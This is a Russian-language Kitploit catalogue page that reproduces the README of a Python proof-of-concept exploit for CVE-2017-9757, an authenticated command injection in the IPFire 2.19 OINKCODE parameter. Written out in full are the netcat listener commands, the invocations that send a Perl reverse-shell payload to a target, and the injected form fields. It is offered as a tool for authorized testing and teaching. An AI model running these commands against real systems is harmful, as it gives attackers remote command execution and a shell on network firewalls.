Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
IPFire_2.19_RCE_Authenticated — Этот эксплойт основан на CVE-2017-9757 и построен на основе оригинального эксплойта от 0x09AL. | Kitploit
Инструменты/GitHubGitHub/joaoaugustom/ipfire_2.19_rce_authenticated
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHubjoaoaugustom/ipfire_2.19_rce_authenticated

IPFire_2.19_RCE_Authenticated

Этот эксплойт основан на CVE-2017-9757 и построен на основе оригинального эксплойта от 0x09AL.

Репозиторий
11 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

IPFire 2.19 OINKCODE RCE PoC

Python-реализация PoC для аутентифицированной уязвимости внедрения команд на странице ids.cgi IPFire 2.19 через параметр OINKCODE.

Только для авторизованного тестирования безопасности и учебных лабораторий. Запускайте этот PoC только против систем, которыми вы владеете или на тестирование которых имеете явное разрешение. Автор не несёт ответственности за неправомерное использование или ущерб, причинённый этим кодом.

Обзор уязвимости

IPFire 2.19 уязвим к внедрению OS-команд в параметре OINKCODE, обрабатываемом /cgi-bin/ids.cgi. Параметр подставляется в shell-команду без надлежащей нейтрализации, что позволяет аутентифицированному пользователю выполнять команды на узле IPFire.

Уязвимость обычно идентифицируется как CVE-2017-9757 и соответствует CWE-78: некорректная нейтрализация специальных элементов, используемых в OS-команде ('внедрение OS-команд').

Оригинальный публичный PoC был протестирован против IPFire 2.19 Core Update 110. Модуль Metasploit считает версии вплоть до IPFire 2.19 с Core Update 110 входящими в поддерживаемый диапазон проверки.

Почему был создан этот PoC

Оригинальный Python-PoC с Exploit-DB выполняет проверочный запрос, используя:

root@kitploit:~
OINKCODE = '`id`'

Затем он объявляет цель уязвимой, только если HTTP-ответ содержит:

root@kitploit:~
uid=99(nobody)

Такая проверка ненадёжна. Команда может выполниться, но её вывод будет поглощён shell-командой, формируемой CGI, а не отражён в HTML-ответе, возвращаемом клиенту. В результате сервер может вернуть обычную страницу с HTTP 200 без включения вывода id, что даёт ложноотрицательный результат.

Эта реализация следует логике проверки, используемой модулем Metasploit:

  1. Запросить /cgi-bin/pakfire.cgi с HTTP Basic Authentication.
  2. Извлечь версию IPFire и Core Update из ответа.
  3. Считать IPFire <= 2.19 и Core Update <= 110 предположительно уязвимыми.
  4. Отправить командную нагрузку в /cgi-bin/ids.cgi в поле OINKCODE.
  5. Считать ответ, отличный от 200, отклонённым запросом или проблемой аутентификации.
  6. Не проверять HTML-тело на наличие uid=99(nobody).

PoC также использует Perl-нагрузку командной оболочки, соответствующую семейству командных нагрузок, поддерживаемых модулем Metasploit. Успешный HTTP-ответ сам по себе не доказывает, что reverse shell подключился; необходимо также проверить listener и сетевой путь.

Различия между исходными эксплойтами

ОсобенностьExploit-DB 42149 Python PoCExploit-DB 42369 / MetasploitЭтот PoC
Уязвимая конечная точка/cgi-bin/ids.cgi/cgi-bin/ids.cgi/cgi-bin/ids.cgi
Проверка версииНетGET /cgi-bin/pakfire.cgiТа же проверка в стиле Metasploit
АутентификацияBasic AuthЗаголовок Basic AuthBasic Auth через requests.Session
Начальная проверкаВыполняет `id` и ищет в теле ответаПроверяет версию, затем отправляет нагрузкуПроверяет версию и использует код результата HTTP
Риск ложноотрицательного результатаВысокий: зависит от отражения uid=99(nobody)Избегает проверки содержимого телаИзбегает проверки содержимого тела
Reverse shellBash /dev/tcpКомандная нагрузка Metasploit для UnixPerl-командная оболочка IO::Socket::INET
Обработка TLSПроверка сертификата отключена в PoCSSL включён по умолчаниюПроверка отключается только с -k/--insecure
КонфигурацияЗначения редактируются в исходном кодеОпции MetasploitАргументы командной строки

Важный критерий успеха модуля Metasploit заключается в том, что неожиданный код ответа указывает на недействительные учётные данные или отклонённый запрос. Он не требует, чтобы тело ответа содержало вывод внедрённой команды.

Требования

  • Python 3
  • requests
  • Действительные учётные данные IPFire с доступом к веб-интерфейсу
  • Интерпретатор Perl на целевой системе, обычно доступный как perl
  • Listener, доступный с узла IPFire

Установите Python-зависимость:

root@kitploit:~
python3 -m pip install requests

Использование

1. Только проверка версии цели

root@kitploit:~
python3 ipfire_oinkcode_rce.py \
  --target 192.0.2.10 \
  --web-port 444 \
  --username admin \
  --lhost 192.0.2.20 \
  --check-only \
  --insecure

Пароль запрашивается в интерактивном режиме, если --password не указан. Это рекомендуется, поскольку передача пароля напрямую в команде может раскрыть его через историю shell или список процессов.

2. Запустите listener

Используйте listener на адресе и порту, указанных через --lhost и --lport:

root@kitploit:~
rlwrap nc -lvnp 4444

Если rlwrap не установлен, используйте:

root@kitploit:~
nc -lvnp 4444

3. Отправьте Perl-нагрузку reverse shell

root@kitploit:~
python3 ipfire_oinkcode_rce.py \
  --target 192.0.2.10 \
  --web-port 444 \
  --username admin \
  --lhost 192.0.2.20 \
  --lport 4444 \
  --insecure

Для обычного самозаверяющего HTTPS-сертификата IPFire требуется --insecure/-k. Используйте его только в тех случаях, когда проверка сертификата в лаборатории заведомо невозможна.

Полный URL вместо узла и порта

Цель также можно указать в виде полного базового URL:

root@kitploit:~
python3 ipfire_oinkcode_rce.py \
  --target https://192.0.2.10:444 \
  --username admin \
  --lhost 192.0.2.20 \
  --lport 4444 \
  --insecure

Пропуск определения версии

Используйте это, только если версия IPFire уже была подтверждена независимо:

root@kitploit:~
python3 ipfire_oinkcode_rce.py \
  --target 192.0.2.10 \
  --web-port 444 \
  --username admin \
  --lhost 192.0.2.20 \
  --lport 4444 \
  --skip-version-check \
  --insecure

Указание другого пути к Perl

Если Perl отсутствует в PATH по умолчанию на целевой системе, укажите его абсолютный путь:

root@kitploit:~
--perl-path /usr/bin/perl

Параметры командной строки

ПараметрПо умолчаниюОписание
-t, --targetОбязательноЦелевой узел/IP или полный базовый URL
--schemehttpsСхема, используемая, когда цель указана только как узел/IP
--web-port444Порт веб-интерфейса IPFire
-u, --usernameadminИмя пользователя IPFire
-p, --passwordЗапросПароль; не указывайте, чтобы ввести его без эха
--lhostОбязательноАдрес listener, доступный с IPFire
--lport4444Порт listener
--perl-pathperlИсполняемый файл Perl на целевой системе
--timeout10Таймаут HTTP в секундах
-k, --insecureОтключеноОтключить проверку TLS-сертификата
--skip-version-checkОтключеноПропустить проверку pakfire.cgi
--check-onlyОтключеноВыполнить только проверку версии

Интерпретация вывода

HTTP 200 от ids.cgi

Это означает, что HTTP-запрос был принят CGI в соответствии с тем же практическим критерием, который использует модуль Metasploit. Обычный HTML-ответ ожидаем и не является доказательством того, что проверка уязвимости не удалась.

Проверьте listener на наличие оболочки. Если оболочка не появилась, проверьте адрес обратного вызова, маршрутизацию, правила исходящего трафика межсетевого экрана, доступность Perl и выбранный порт.

HTTP 401 или HTTP 403

Запрос не был авторизован. Проверьте имя пользователя, пароль, целевой URL, порт и наличие у учётной записи доступа к веб-интерфейсу IPFire.

HTTP 404

Вероятно, неверен целевой URL или путь CGI, либо сервис не является ожидаемым веб-интерфейсом IPFire.

Версия не распознана

Скрипт не смог найти ожидаемую строку версии в pakfire.cgi. Подтвердите цель вручную перед использованием --skip-version-check.

Таймаут запроса после доставки нагрузки

Внедрённая команда может удерживать CGI-запрос открытым во время попытки обратного вызова. Считайте это указанием проверить listener, а не окончательным доказательством наличия оболочки.

Технический поток запроса

Скрипт использует HTTP Basic Authentication и отправляет в ids.cgi следующие поля формы:

root@kitploit:~
ENABLE_SNORT_GREEN=on
ENABLE_SNORT=on
RULES=registered
OINKCODE=`<Perl command payload>`
ACTION=Download new ruleset
ACTION2=snort

Команда заключена в обратные кавычки, поскольку уязвимое приложение передаёт значение OINKCODE в shell-команду. Точное поведение запроса зависит от версии цели и её локальной конфигурации.

Ограничения

  • Это доказательство концепции, а не полный фреймворк для эксплуатации.
  • Проверка версии основана на поведении указанного модуля Metasploit; она не гарантирует, что каждая цель с соответствующим баннером эксплуатируема.
  • Ответ 200 подтверждает, что запрос принят, а не то, что reverse shell достиг listener.
  • Perl-нагрузка требует работающего интерпретатора Perl и сетевой связности от IPFire до listener.
  • Скрипт не пытается обойти аутентификацию или использовать CSRF; ожидаются действительные учётные данные.

Ссылки

  • NVD: CVE-2017-9757
  • Exploit-DB 42149: удалённое выполнение кода в IPFire 2.19
  • Exploit-DB 42369: удалённое выполнение кода в IPFire < 2.19 Update Core 110
  • Модуль Metasploit: ipfire_oinkcode_exec.rb
  • Perl-нагрузка команд Metasploit
  • CWE-78: внедрение OS-команд

Атрибуция

Этот проект представляет собой образовательную Python-реализацию, основанную на публичном исследовании и PoC от 0x09AL, а также на модуле Metasploit, поддерживаемом сообществом Metasploit. Он не связан с IPFire, Exploit-DB или Rapid7 и не одобрен ими.

Скачать инструмент